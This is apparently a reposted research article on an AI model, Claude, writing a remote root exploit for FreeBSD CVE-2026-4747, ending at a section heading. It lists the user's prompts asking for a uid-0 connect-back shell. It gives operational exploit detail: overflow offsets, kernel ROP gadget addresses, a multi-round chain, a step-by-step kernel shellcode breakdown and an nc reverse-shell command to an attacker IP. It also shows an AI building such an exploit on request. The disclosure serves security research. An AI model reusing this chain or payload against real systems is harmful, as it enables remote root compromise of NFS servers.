MAD Bugs: Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell (CVE-2026-4747)

MAD Bugs: Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell (CVE-2026-4747)

Original text by CALIF

The article “MAD Bugs: Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell” describes an experiment demonstrating how a modern large language model can assist in advanced vulnerability research and exploit development. Researchers tested the AI model Claude against CVE-2026-4747, a vulnerability in FreeBSD’s RPCSEC_GSS implementation. Starting only with the advisory, the model autonomously analyzed the vulnerability and produced a fully working remote kernel exploit within several hours. The exploit used a stack-based buffer overflow, constructing a ROP chain to make kernel memory executable, inject shellcode, and spawn a root shell via kernel mechanisms such as kproc_create and kern_execve. The attack delivered shellcode in multiple packets and achieved remote root access on a vulnerable system. According to the authors, this may be one of the first cases where an AI system both identified and produced a working remote kernel exploit with minimal human assistance. However, the article notes that human guidance was still required during the process and that the vulnerable system lacked some modern mitigations, making exploitation easier. 

Timeline:

  • 2026-03-26: FreeBSD published an advisory for CVE-2026-4747, crediting “Nicholas Carlini using Claude, Anthropic” for a remote kernel code execution.
  • 9:45AM PDT 2026-03-29: We asked Claude to develop an exploit.
  • 5:00PM PDT 2026-03-29: Claude delivered a working exploit that drops a root shell.

Total time: ~8 hours wall clock. The human was AFK for much of it; Claude’s actual working time was ~4 hours.

Claude actually wrote two exploits using two different strategies. Both worked on the first try. Here’s what it looks like:

Prompts was:

1. https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc we want to setup a test env for this vulnerability using docker preferably so the docker files can be copied later for easy repro. password for this vm is x , you should setup a vulnerable version of FreeBSD the latest it mentions and then trigger the vulnerability
2. we want to use docker for this not qemu if possible.. we should still be able to connect and debug it the same i assume
3. why does it need to be QEMU and not docker for this to be a real exploit?
4. no just use QEMU then
5. okay now can you maybe generate an entire RCE exploit for this image ?
6. wait what are you compiling? arent we testing it inside of the Fbsd VM using the actual FBSD module as described in the advisory ?
7. i mean why wouldnt you just install a vulnerable version as mentioned in the advisory
8. okay contoninue to trigger this vuln.
9. what old qemu did you kill? we are using qemu in another session as well. do not kill that Linux qemu.
10. why is it running on 2222 2049 and 1111
11. okay now what about getting RCE.
12. tere is no kaslr so it should be easy
13. install ropgadget or what ever you need ... idk
14. no we dont want to reboot? we want a reverse shell as uid 0 if possible ?
15. okay in ../FBSD-001 there is a different remote exploit that gets a shell.. read it for how they constructed the connect back as uid 0 maybe
16. is the ucred write even needed if the proc is uid0 ? and why dont we get a shell ? or can we demon strait somehow a unpriv non root user that elevates to root? but we still want a shell.. as uid0
17. from a remote context aka the exploit should be executed from outside the vm
18. no just continue to get the remote version working. use gdb and hat ever tools you need.
19. you should do this step by step - for the remote version foucs on triggering then getting PC control then the rop.
20. you need to keep notes of our current status and what you have done to get here. thanks.
21. you should verify everything with gdb if you need etc.
22. 1. Pure ROP — no shellcode needed, but we're stuck on rax→rdi transfer (no gadget exists in this kernel) how are ou searching for rop gadgets?
23. why do we need kdc ?
24. nope that wont work as we cant do that from a remote exploit context without having accss to the shell
25. dont think we can prestage a /tmp/x ..
26. working means a connectback shell as uid0
27. when you get it workng i want a complete writeup of th evuln, the exploit methodology, the ropchain, the overflow, and how to install and setup a vuln target
for testing
28. i want a shell.
29. wait what do you mean increase nfs threadcount i guess we should use defaults here..
30. no just continue to get the remote version working. use gdb and hat ever tools you need.
31. make the writeup better explaining each step of the exploit and why
32. also # SSH tunnel for Kerberos KDC sshpass -p freebsd ssh -L 8888:127.0.0.1:88 -N -f -p 2222 root@127.0.0.1 is it possible to do without an ssh tunnel ?
33. can you do the forward nstead of ssh tunnel then test the exploit again
34. /tmp/final_exploit hardly looks like the final exploit ...
35. why dont you make a nicer exploit where you can supply a target and cb ip ... and do everything inline in that exploit
36. the rop / shellcode everything ..
37. the writeup feels kind of bare, explain the shellcode as if the reader has never seen FBSD001 also what do you mean the "bruteforce" version?
38. also retest and verify it works
39. update the writeup to tell how to also setup a vulnerable target using vmware for example without a KDC tunnel
40. how can i boot the qemu and test it
41. why is KDC required? and nfsd ?
42. okay you noted this stuff in the writeup?
43. do you have the prompt log ? i want to see the original prompt for this
44. can you give me back all the prompts i entered in this session

exploit https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/exploit.py

What Claude Accomplished

Going from a vulnerability advisory to a working remote root shell required Claude to solve six distinct problems. It’s worth noting that FreeBSD made this easier than it would be on a modern Linux kernel: FreeBSD 14.x has no KASLR (kernel addresses are fixed and predictable) and no stack canaries for integer arrays (the overflowed buffer is int32_t[]).

  1. Lab setup: Stand up a FreeBSD VM with NFS, Kerberos, and the vulnerable kernel module, all configured so the overflow is reachable over the network. Claude knew the VM needed 2+ CPUs because FreeBSD spawns 8 NFS threads per CPU, and the exploit kills one thread per round. This included setting up remote debugging so Claude could read kernel crash dumps.
  2. Multi-packet delivery: The shellcode doesn’t fit in one packet. Claude devised a 15-round strategy: make kernel memory executable, then write shellcode 32 bytes at a time across 14 packets. In another exploit privately shared with us, Claude used a different strategy: writing a public key to .ssh/authorized_keys instead of a reverse shell, which shortened the exploit to 6 rounds.
  3. Clean thread exit: Each overflow hijacks an NFS kernel thread. Claude used kthread_exit() to terminate each thread cleanly, keeping the server alive for the next round.
  4. Offset debugging: The initial stack offsets from disassembly were wrong. Claude sent De Bruijn patterns (a term we hadn’t heard of before reading the writeup), read the crash dumps, and corrected the offsets.
  5. Kernel-to-userland transition: NFS threads can’t run userland programs. Claude created a new process via kproc_create(), used kern_execve() to replace it with /bin/sh, and cleared the P_KPROC flag so the process could transition to user mode.
  6. Hardware breakpoint bug: The child process kept crashing with a debug exception. Claude traced this to stale debug registers inherited from DDB and fixed it by clearing DR7 before forking.

Full Remote Kernel RCE → uid 0 Reverse Shell

Advisory: FreeBSD-SA-26:08.rpcsec_gss CVE: CVE-2026-4747 Affected: FreeBSD 13.5 (<p11), 14.3 (<p10), 14.4 (<p1), 15.0 (<p5) Tested on: FreeBSD 14.4-RELEASE amd64 (GENERIC kernel, no KASLR) Attack surface: NFS server with kgssapi.ko loaded (port 2049/TCP)


1. The Vulnerability

Root Cause

In sys/rpc/rpcsec_gss/svc_rpcsec_gss.c, the function svc_rpc_gss_validate() reconstructs an RPC header into a 128-byte stack buffer (rpchdr[]) for GSS-API signature verification. It first writes 32 bytes of fixed RPC header fields, then copies the entire RPCSEC_GSS credential body (oa_length bytes) into the remaining space — without checking that oa_length fits.

static bool_t
svc_rpc_gss_validate(struct svc_rpc_gss_client *client,
                     struct rpc_msg *msg, gss_qop_t *qop, rpc_gss_proc_t gcproc)
{
    int32_t rpchdr[128 / sizeof(int32_t)];  // 128 bytes on stack
    int32_t *buf;

    memset(rpchdr, 0, sizeof(rpchdr));

    // Write 8 fixed-size RPC header fields (32 bytes total)
    buf = rpchdr;
    IXDR_PUT_LONG(buf, msg->rm_xid);
    IXDR_PUT_ENUM(buf, msg->rm_direction);
    IXDR_PUT_LONG(buf, msg->rm_call.cb_rpcvers);
    IXDR_PUT_LONG(buf, msg->rm_call.cb_prog);
    IXDR_PUT_LONG(buf, msg->rm_call.cb_vers);
    IXDR_PUT_LONG(buf, msg->rm_call.cb_proc);
    oa = &msg->rm_call.cb_cred;
    IXDR_PUT_ENUM(buf, oa->oa_flavor);
    IXDR_PUT_LONG(buf, oa->oa_length);

    if (oa->oa_length) {
        // BUG: No bounds check on oa_length!
        // After 32 bytes of header, only 96 bytes remain in rpchdr.
        // If oa_length > 96, this overflows past rpchdr into:
        //   local variables → saved callee-saved registers → return address
        memcpy((caddr_t)buf, oa->oa_base, oa->oa_length);
        buf += RNDUP(oa->oa_length) / sizeof(int32_t);
    }

    // gss_verify_mic() called after — but overflow already happened
}

The buffer has only 128 - 32 = 96 bytes of space for the credential body. Any credential larger than 96 bytes overflows the stack buffer.

The Fix (14.4-RELEASE-p1)

The patch adds a single bounds check before the copy:

oa = &msg->rm_call.cb_cred;
if (oa->oa_length > sizeof(rpchdr) - 8 * BYTES_PER_XDR_UNIT) {
    rpc_gss_log_debug("auth length %d exceeds maximum", oa->oa_length);
    client->cl_state = CLIENT_STALE;
    return (FALSE);
}

Overflow Geometry

From the function’s prologue disassembly (objdump -d kgssapi.ko):

svc_rpc_gss_validate:
    push   rbp
    mov    rbp, rsp
    push   r15              ; saved at [rbp-8]
    push   r14              ; saved at [rbp-16]
    push   r13              ; saved at [rbp-24]
    push   r12              ; saved at [rbp-32]
    push   rbx              ; saved at [rbp-40]
    sub    rsp, 0xb8        ; 184 bytes of local space

The rpchdr array is at [rbp-0xc0] (192 bytes below rbp). The memcpy writes to rpchdr + 32 = [rbp-0xa0]. The saved registers and return address are above rpchdr on the stack:

Stack layout (low → high addresses):
  [rbp - 0xe0]  local variables (bottom of frame)
  [rbp - 0xc0]  rpchdr[0]         ← memset target
  [rbp - 0xa0]  rpchdr[32]        ← memcpy destination (our overflow starts here)
  [rbp - 0x40]  rpchdr[128]       ← end of buffer (96 bytes from memcpy start)
  [rbp - 0x28]  saved RBX         ← OVERFLOW: credential body byte 120
  [rbp - 0x20]  saved R12         ← byte 128
  [rbp - 0x18]  saved R13         ← byte 136
  [rbp - 0x10]  saved R14         ← byte 144
  [rbp - 0x08]  saved R15         ← byte 152
  [rbp + 0x00]  saved RBP         ← byte 160
  [rbp + 0x08]  RETURN ADDRESS    ← byte 168

However, these are the offsets for a credential body that starts immediately. In practice, the credential body begins with a GSS header (version, procedure, sequence, service) plus a context handle. With a 16-byte handle, the actual offsets shift by 32 bytes — the return address lands at credential body byte 200 (verified via De Bruijn pattern analysis from the remote exploit).

Reaching the Vulnerable Code

Why NFS? The vulnerable module kgssapi.ko implements RPCSEC_GSS authentication for the kernel’s RPC subsystem. NFS is the primary (and typically only) in-kernel RPC service that uses RPCSEC_GSS. The NFS server daemon (nfsd) listens on port 2049/TCP and processes RPC packets in kernel context — making this a remote kernel code execution vulnerability reachable over the network.

Why Kerberos? The overflow is deep inside the GSS validation code path. svc_rpc_gss_validate() is only called when:

  1. The RPC packet uses RPCSEC_GSS authentication (flavor = 6)
  2. The GSS procedure is DATA (not INIT or DESTROY)
  3. The server finds a valid client entry matching the context handle
  4. A replay sequence check passes

Without a valid GSS context, the server rejects the packet at step 3 (returning AUTH_REJECTEDCRED) and the vulnerable memcpy is never reached. Creating a valid GSS context requires a successful Kerberos handshake — the attacker must possess a valid Kerberos ticket for the NFS service principal.

In a real-world attack, the target would be an enterprise NFS server with existing Kerberos infrastructure (Active Directory, FreeIPA, etc.). Any user with a valid Kerberos ticket — even an unprivileged one — can trigger the vulnerability. The test lab includes its own KDC because there is no pre-existing Kerberos environment.

The XDR layer enforces MAX_AUTH_BYTES = 400 on the credential body, giving an overflow range of 97–400 bytes (1–304 bytes past the safe limit).

2. Target Setup

Requirements

Target VM:

  • FreeBSD 14.4-RELEASE amd64 (any hypervisor: QEMU, VMware, VirtualBox, bhyve, bare metal)
  • NFS server enabled with kgssapi.ko loaded
  • MIT Kerberos KDC (for RPCSEC_GSS authentication)

Attacker host (Linux):

  • Python 3 with gssapi module (apt install python3-gssapi)
  • MIT Kerberos client (apt install krb5-user)
  • Network access to the target’s NFS port (2049/TCP) and KDC port (88/TCP)

Option A: QEMU Setup (cloud-init, automated)

# Download image
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
cp FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 freebsd-vuln.qcow2
qemu-img resize freebsd-vuln.qcow2 8G

# Cloud-init auto-configuration
cat > user-data << 'EOF'
#cloud-config
chpasswd:
  list: |
    root:freebsd
  expire: False
ssh_pwauth: True
bootcmd:
  - rm -f /firstboot              # prevent auto-patching to -p1
  - rm -f /var/db/freebsd-update/*
runcmd:
  - echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config
  - service sshd restart
  - kldload kgssapi
  - sysrc rpcbind_enable=YES nfs_server_enable=YES
  - echo '/export -network 0.0.0.0/0' > /etc/exports
  - mkdir -p /export
  - service rpcbind start && service nfsd start
EOF
cat > meta-data << 'EOF'
instance-id: cve-test
local-hostname: freebsd-vuln
EOF
genisoimage -output seed.iso -volid cidata -joliet -rock user-data meta-data

# Boot VM — forward SSH (22), NFS (2049), and KDC (88) ports
qemu-system-x86_64 -enable-kvm -cpu host -m 2G -smp 2 \
  -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
  -cdrom seed.iso \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -device virtio-net-pci,netdev=net0 -nographic

The KDC port (88) is forwarded to host port 8888 directly — no SSH tunnel required.

Option B: VMware / VirtualBox / bhyve Setup (manual, any hypervisor)

For VMware Workstation, ESXi, Fusion, VirtualBox, or bhyve. In this example the VM hostname is test.

  1. Download the installer ISO (not the cloud-init image):
wget https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4-RELEASE/\
FreeBSD-14.4-RELEASE-amd64-disc1.iso
  1. Create a VM with:
    • 2 CPUs (2 sockets × 1 core, or 1 socket × 2 cores), 2GB RAM, 8GB disk
    • IMPORTANT: FreeBSD spawns 8 NFS threads per CPU. The exploit kills one thread per round and needs 15 rounds, so you need at least 2 CPUs (= 16 threads). With 1 CPU (8 threads) the exploit fails around round 9.
    • Network: bridged or NAT (the attacker needs to reach ports 22, 88, 2049)
    • Attach the ISO and install FreeBSD normally
    • Set hostname to test during install (or change later)
  2. After installation, log in as root and run the following. Replace test with your actual hostname if different (check with hostname):
# 1. Install Kerberos
pkg install -y krb5

# 2. Create krb5.conf
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
    default_realm = TEST.LOCAL
[realms]
    TEST.LOCAL = {
        kdc = 127.0.0.1
        admin_server = 127.0.0.1
    }
EOF

# 3. Create KDC database
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL

# 4. Create Kerberos principals (replace "test" with your hostname)
/usr/local/sbin/kadmin.local -q "addprinc -pw password testuser@TEST.LOCAL"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/test@TEST.LOCAL"
/usr/local/sbin/kadmin.local -q "addprinc -randkey host/test@TEST.LOCAL"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/test@TEST.LOCAL"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab host/test@TEST.LOCAL"

# 5. Start KDC
/usr/local/sbin/krb5kdc

# 6. Configure NFS export
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports

# 7. Enable services in rc.conf
sysrc rpcbind_enable=YES
sysrc nfs_server_enable=YES
sysrc nfsv4_server_enable=YES
sysrc nfsuserd_enable=YES
sysrc gssd_enable=YES
sysrc mountd_enable=YES
sysrc nfs_server_flags="-u -t"

# 8. Start services
service rpcbind start
service nfsuserd start
service gssd start
service mountd start
service nfsd start

# 9. Verify
sysctl vfs.nfsd.threads    # should show 16 (with 2 CPUs)
sockstat -l | grep 2049    # MUST show tcp4 and tcp6 lines (not just udp)
kldstat | grep gss         # should show kgssapi.ko and kgssapi_krb5.ko
echo 'password' | kinit testuser@TEST.LOCAL && klist

4. After each reboot, the only manual step is starting the KDC (everything else auto-starts from rc.conf):

/usr/local/sbin/krb5kdc

# Verify
sysctl vfs.nfsd.threads    # should show 16 (with 2 CPUs)
sockstat -l | grep 2049    # must show tcp4/tcp6 lines

With bridged networking, the attacker connects directly to the VM’s IP on ports 88, 2049. No port forwarding needed.

With NAT, configure port forwarding in the hypervisor:

  • VMware: Edit → Virtual Network Editor → NAT Settings → Add (host 2049 → guest 2049, host 8888 → guest 88)
  • VirtualBox: Settings → Network → Advanced → Port Forwarding (same mappings)

Kerberos Setup (on the VM)

Kerberos setup is now included in Option B Step 2 above. If you used Option A (QEMU cloud-init), the Kerberos setup is the same — just SSH in and run the Step 2 commands.

Key points:

  • The NFS service principal must match the VM hostname exactly: nfs/test@TEST.LOCAL (for hostname test)
  • krb5.conf must exist BEFORE running kadmin.local or kdb5_util
  • The KDC (/usr/local/sbin/krb5kdc) must be started manually — it does not auto-start on boot unless you add it to /etc/rc.local

Host Setup (attacker machine — Linux)

Both machines need Kerberos configuration, but for different reasons:

MachineWhy it needs KerberosWhat it runs
FreeBSD VM (target)Runs the KDC + accepts GSS-authenticated NFS requestsKDC, gssd, nfsd
Attacker host (Linux)Needs to obtain tickets from the VM’s KDC and send GSS tokenskinit, python3 exploit

Step 1: Install system packages

# Ubuntu/Debian
sudo apt install krb5-user libkrb5-dev python3-gssapi

# When the installer asks:
#   Default realm:        TEST.LOCAL
#   KDC hostnames:        (leave blank, press Enter)
#   Admin server:         (leave blank, press Enter)
# These don't matter — we override them in /etc/krb5.conf below.

# Fedora/RHEL
sudo dnf install krb5-workstation krb5-devel python3-gssapi

Step 2: Install Python dependency

pip install gssapi

Step 3: Create /etc/krb5.conf on the attacker host

This tells kinit and the Python gssapi module where to find the KDC (which runs on the FreeBSD VM):

# Replace VM_IP with your FreeBSD VM's actual IP address
# Replace KDC_PORT with 88 (bridged) or 8888 (if using NAT port forwarding)
sudo tee /etc/krb5.conf << EOF
[libdefaults]
    default_realm = TEST.LOCAL
    rdns = false                       # CRITICAL: prevent reverse DNS lookup
    dns_canonicalize_hostname = false   # CRITICAL: prevent hostname canonicalization
[realms]
    TEST.LOCAL = {
        kdc = VM_IP:KDC_PORT
    }
EOF

The rdns = false and dns_canonicalize_hostname = false settings are critical. Without them, MIT Kerberos performs reverse DNS on the target IP, producing a ticket for nfs/localhost@TEST.LOCAL instead of nfs/test@TEST.LOCAL. The server rejects the mismatched principal with KRB5KRB_AP_WRONG_PRINC.

Step 4: Add hostname resolution

The hostname in /etc/hosts must match the NFS service principal created on the VM (nfs/test@TEST.LOCAL):

# Replace VM_IP with your FreeBSD VM's actual IP address
echo "VM_IP test" | sudo tee -a /etc/hosts

Step 5: Get a Kerberos ticket

echo "password" | kinit testuser@TEST.LOCAL
klist   # verify: should show krbtgt/TEST.LOCAL@TEST.LOCAL


If kinit fails with “unable to reach KDC”: the VM’s KDC isn’t running (/usr/local/sbin/krb5kdc on the VM) or the port isn’t reachable (check firewall / port forwarding).

If kinit fails with “password incorrect”: the password doesn’t match what was set with kadmin.local on the VM.

Step 6: (Optional) Install ROPgadget

Only needed if you’re targeting a different FreeBSD version and need to find new gadget addresses:

pip install ROPgadget

Example configurations:

SetupVM_IPKDC_PORT/etc/hosts entry
QEMU user-mode NAT127.0.0.18888127.0.0.1 test
VMware bridged (VM at 192.168.1.100)192.168.1.10088192.168.1.100 test
VirtualBox NAT with port forward127.0.0.18888127.0.0.1 test

3. Exploitation

Strategy Overview

The exploit achieves remote kernel code execution through a multi-round overflow attack. Each round:

  1. Establishes a fresh Kerberos GSS context with the NFS server
  2. Sends an RPCSEC_GSS DATA packet with an oversized credential body
  3. The overflow overwrites the return address with a ROP gadget
  4. The ROP chain either writes data to kernel memory or jumps to shellcode
  5. kthread_exit() cleanly terminates the NFS worker thread (no panic)

Since the 400-byte credential limit allows only ~200 bytes of ROP chain per round, the 432-byte shellcode is delivered across 15 rounds: 1 round makes kernel BSS executable, 13 rounds write the shellcode 32 bytes at a time, and the final round writes the last 16 bytes and jumps to the shellcode entry point.

Each round kills one NFS worker thread via kthread_exit(). The exploit needs 15 rounds. FreeBSD spawns 8 NFS threads per CPU, so the VM needs at least 2 CPUs (= 16 threads). With 1 CPU (8 threads), the exploit fails around round 9 with “GSS context failed”.

Stack Layout (Verified via De Bruijn Pattern)

The credential body includes a variable-length GSS header before the overflow data. With a 16-byte context handle, the actual register offsets (determined by sending a De Bruijn cyclic pattern and reading the crash dump) are:

Credential body byte → Stack target
[0..35]              → GSS header (version=1, proc=DATA, seq=1, svc=integrity, handle)
[36..151]            → Fills rpchdr remainder + local variables (padding)
[152..159]           → saved RBX (callee-saved register)
[160..167]           → saved R12
[168..175]           → saved R13
[176..183]           → saved R14
[184..191]           → saved R15
[192..199]           → saved RBP (frame pointer)
[200..207]           → RETURN ADDRESS — first ROP gadget goes here
[208..399]           → ROP chain continuation (192 bytes = 24 qwords)

The initial assumption of RIP at byte 168 was wrong by 32 bytes — the 16-byte GSS handle + XDR alignment shifted everything. This was discovered by sending a De Bruijn pattern from the remote host and reading the crash register values.

ROP Gadgets

Found via ROPgadget (pip3 install ROPgadget && ROPgadget --binary /boot/kernel/kernel):

GadgetAddressPurpose
pop rdi; retK+0x1adcdaSet first argument register
pop rsi; retK+0x1cdf98Set second argument
pop rdx; retK+0x5fa429Set third argument
pop rax; retK+0x400cb4Set rax (for write value or call target)
mov [rdi], rax; ret0xffffffff80e3457c8-byte arbitrary kernel write

Where K = 0xffffffff80200000 (kernel base, fixed — no KASLR on FreeBSD 14.x).

The mov [rdi], rax; ret gadget is the workhorse: it writes 8 bytes of attacker-controlled data to any writable kernel address. Combined with pop rdi and pop rax, each 8-byte write costs 40 bytes of ROP chain (5 qwords).

Round 1: Make BSS Executable

The shellcode must be placed somewhere that is both writable (so we can write to it) and executable (so the CPU can run it). Kernel BSS is writable but not executable (W^X enforcement). Round 1 uses pmap_change_prot() to add execute permission:

ROP chain (Round 1):
  pop rdi          → rdi = 0xffffffff8198a000 (kernel BSS page)
  pop rsi          → rsi = 0x2000 (2 pages = 8KB)
  pop rdx          → rdx = 7 (VM_PROT_ALL = read|write|execute)
  pmap_change_prot → changes BSS page permissions to RWX
  pop rdi          → rdi = 0 (exit status)
  kthread_exit     → cleanly terminate this NFS thread

After this round, the BSS region 0xffffffff8198a000 – 0xffffffff8198bfff is read-write-execute.

Rounds 2–14: Write Shellcode to BSS

Each round writes 4 qwords (32 bytes) of shellcode to sequential BSS addresses:

ROP chain template (Rounds 2–14):
  pop rdi          → rdi = BSS_SC + offset      ; destination address
  pop rax          → rax = shellcode_qword       ; 8 bytes of shellcode
  mov [rdi], rax   → write 8 bytes to BSS
  (repeat 3 more times for the next 3 qwords)
  pop rdi          → 0
  kthread_exit     → clean exit

The shellcode is 432 bytes (425 + padding). Across 13 rounds writing 32 bytes each = 416 bytes, plus the final round’s 16 bytes = 432 total.

Round 15: Final Write + Jump to Shellcode

The last round writes the remaining 2 qwords and replaces kthread_exit with a jump to the shellcode entry:

ROP chain (Round 15):
  pop rdi          → rdi = BSS_SC + 416         ; final destination
  pop rax          → rax = last qword
  mov [rdi], rax   → write
  pop rdi          → rdi = BSS_SC + 424
  pop rax          → rax = last qword
  mov [rdi], rax   → write
  BSS_SC           → jump to shellcode entry point!

The saved register area (cred bytes 152–199) preloads KPROC_CREATE into RBX for the shellcode’s use.

GSS Context Establishment

Each round needs a fresh GSS context (the previous thread was killed). The exploit uses Python’s gssapi module:

name = gssapi.Name('nfs/test@TEST.LOCAL', gssapi.NameType.kerberos_principal)
ctx = gssapi.SecurityContext(name=name, usage='initiate',
                             flags=gssapi.RequirementFlag.mutual_authentication)
token = ctx.step()

The kerberos_principal name type is critical — using hostbased_service causes MIT Kerberos to canonicalize the hostname via reverse DNS, producing nfs/localhost@TEST.LOCAL instead of the correct nfs/test@TEST.LOCAL. The server rejects the mismatched principal with KRB5KRB_AP_WRONG_PRINC.

4. The Shellcode

Overview

The shellcode runs in kernel mode at CPL 0. Its job is to spawn a new process as root that runs a reverse shell command. It cannot simply call execve() from the NFS thread because NFS worker threads are kernel threads without the proper user-mode trapframe needed for the kernel→userland transition.

Instead, the shellcode uses a two-phase approach:

  1. Entry function (runs on the hijacked NFS thread): creates a new kernel process, then exits
  2. Worker function (runs in the new process): transforms the process into /bin/sh via kern_execve(), then transitions to userland

Entry Function (Offset 0–79)

Bytes 0–12:  Stack pivot
  mov rax, 0xffffffff8198bf00    ; BSS + 0x1F00 (safe stack area)
  mov rsp, rax                    ; pivot away from the corrupted NFS thread stack
                                  ; to a clean stack in the RWX BSS region

Bytes 13–35: Set up kproc_create arguments
  lea rdi, [rip + worker_fn]     ; arg1: function pointer to the worker
  xor esi, esi                    ; arg2: argument = NULL
  xor edx, edx                   ; arg3: procp = NULL (don't need proc pointer)
  xor ecx, ecx                   ; arg4: flags = 0
  xor r8d, r8d                   ; arg5: pages = 0 (default stack)
  mov r9, <"/bin/sh" addr>       ; arg6: process name (fmt string for vsnprintf)

Bytes 36–42: Clear debug registers + call kproc_create
  xor eax, eax                   ; rax = 0
  mov dr7, rax                   ; clear hardware breakpoint control register
                                  ; (prevents inherited DR breakpoints from crashing the child)
  call rbx                        ; rbx was preloaded with kproc_create address
                                  ; by the overflow's saved register area

Bytes 43–47: NOP padding (was ha_handler cleanup, NOP'd out)

Bytes 67–78: Exit the NFS thread
  mov rax, kthread_exit           ; absolute address of kthread_exit()
  call rax                        ; cleanly terminates this kernel thread
                                  ; the NFS server continues with remaining threads
Byte 79: CC (int3, unreachable — kthread_exit never returns)

Why kproc_create? The NFS worker thread is a pure kernel thread — it has no user address space (vmspace), no trapframe, and no way to transition to user mode. kproc_create() calls fork1() internally, which creates a brand new process with its own struct procstruct thread, vmspace, and trapframe — everything needed for kern_execve() to later replace it with a userland program.

Why clear DR7? The child process inherits the parent thread’s debug register state. If the kernel previously entered DDB (the kernel debugger) during a panic, hardware breakpoints may remain set in DR0–DR3/DR7. These cause trap 1 (debug exception) when the child hits a watched address. Clearing DR7 (the control register) disables all hardware breakpoints.

Why call rbx? The kproc_create address is a 64-bit kernel pointer that would cost 10 bytes to encode as mov rax, imm64; call rax. Since the overflow’s saved register area preloads KPROC_CREATE into RBX (credential byte 152), the entry can use call rbx (2 bytes). This saves 10 bytes of shellcode — critical given the tight budget.

Worker Function (Offset 80–380)

The worker runs via fork_exit() — the kernel’s post-fork callback mechanism. fork_exit sets rbx = curthread (the new thread pointer), which the worker MUST preserve for fork_exit‘s cleanup after the callback returns.

Bytes 80–91: Prologue
  push rbp                        ; save frame pointer
  mov rbp, rsp                    ; set up stack frame
  sub rsp, 0x100                  ; allocate 256 bytes for local variables
  push rbx                        ; save curthread (MUST restore before return)

Bytes 92–105: Zero the image_args struct
  lea rdi, [rbp - 0x80]          ; image_args at rbp-128
  xor eax, eax                   ; zero fill value
  mov ecx, 16                    ; 16 qwords = 128 bytes
  rep stosq                       ; memset(&args, 0, 128)
  ; image_args must be zeroed — uninitialized fields cause exec to fail

Bytes 106–112: Allocate argument buffer
  lea rdi, [rbp - 0x80]          ; &args
  push rdi                        ; save args pointer for later calls
  mov rax, exec_alloc_args        ; kernel function: allocates page for argv/envp
  call rax

Bytes 113–141: Set executable path
  pop rdi; push rdi               ; rdi = &args (restore from stack, keep saved)
  mov rsi, <"/bin/sh" addr>       ; path string (absolute address in BSS)
  mov edx, 1                      ; UIO_SYSSPACE: string is in kernel memory
  mov rax, exec_args_add_fname
  call rax                        ; adds "/bin/sh" as the executable path

Bytes 142–170: Add "-c" argument
  pop rdi; push rdi
  mov rsi, <"-c" addr>
  mov edx, 1
  mov rax, exec_args_add_arg
  call rax                        ; argv[1] = "-c"

Bytes 171–198: Add reverse shell command
  pop rdi
  mov rsi, <command addr>         ; "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER PORT>/tmp/f"
  mov edx, 1
  mov rax, exec_args_add_arg
  call rax                        ; argv[2] = the reverse shell command

Bytes 199–227: Call kern_execve
  mov rdi, gs:[0]                 ; curthread (from per-CPU segment register)
  mov rax, [rdi + 0x08]           ; rax = curthread->td_proc
  mov rcx, [rax + 0x208]          ; rcx = proc->p_vmspace (needed as 4th arg)
  lea rsi, [rbp - 0x80]           ; rsi = &args
  xor edx, edx                    ; rdx = NULL (no MAC label)
  mov rax, kern_execve
  call rax                        ; kern_execve(curthread, &args, NULL, oldvmspace)
  ; Returns EJUSTRETURN (-2) on success: the process is now /bin/sh
  ; The thread's trapframe has been set up with:
  ;   RIP = ELF entry point of /bin/sh
  ;   RSP = user stack pointer
  ;   CS/SS = user-mode segments

Bytes 228–249: Clear P_KPROC and return
  mov rdi, gs:[0]                 ; curthread
  mov rax, [rdi + 0x08]           ; proc
  and byte [rax + 0xb8], 0xfb    ; clear P_KPROC bit in proc->p_flag
  pop rbx                         ; restore rbx (curthread, for fork_exit)
  leave                           ; restore rbp, rsp
  ret                             ; return to fork_exit

Why clear P_KPROC? After kern_execve() succeeds, the process is structurally a user process (it has a user vmspace and trapframe). But it still has the P_KPROC flag set from kproc_create(). This flag tells fork_exit() to call kthread_exit() after the callback returns — which would kill the process before it enters userland. Clearing bit 0x04 at proc->p_flag (offset 0xb8) makes fork_exit() take the normal userret path instead.

The return path: After the worker returns, fork_exit() continues:

  1. userret(td) — processes pending signals, sets user segments
  2. doreti / iretq — pops the trapframe: sets RIP to /bin/sh entry, RSP to user stack, CS/SS to user mode
  3. /bin/sh executes in userland as uid 0 (root)
  4. The shell command creates a fifo, spawns an interactive shell connected via nc back to the attacker

String Data (Offset 381–425)

Offset 381: "/bin/sh\0"     (8 bytes)  — executable path + kproc name
Offset 389: "-c\0"          (3 bytes)  — shell flag
Offset 392: "mkfifo /tmp/f;sh</tmp/f|nc 10.0.2.2 4444>/tmp/f\0"  — reverse shell

The reverse shell command uses the mkfifo approach because FreeBSD’s nc does not support the -e (exec) flag. The fifo /tmp/facts as a bidirectional pipe: sh reads commands from it, nc sends output to the attacker and receives commands back into the fifo.

5. Challenges Encountered

Register Offset Mismatch

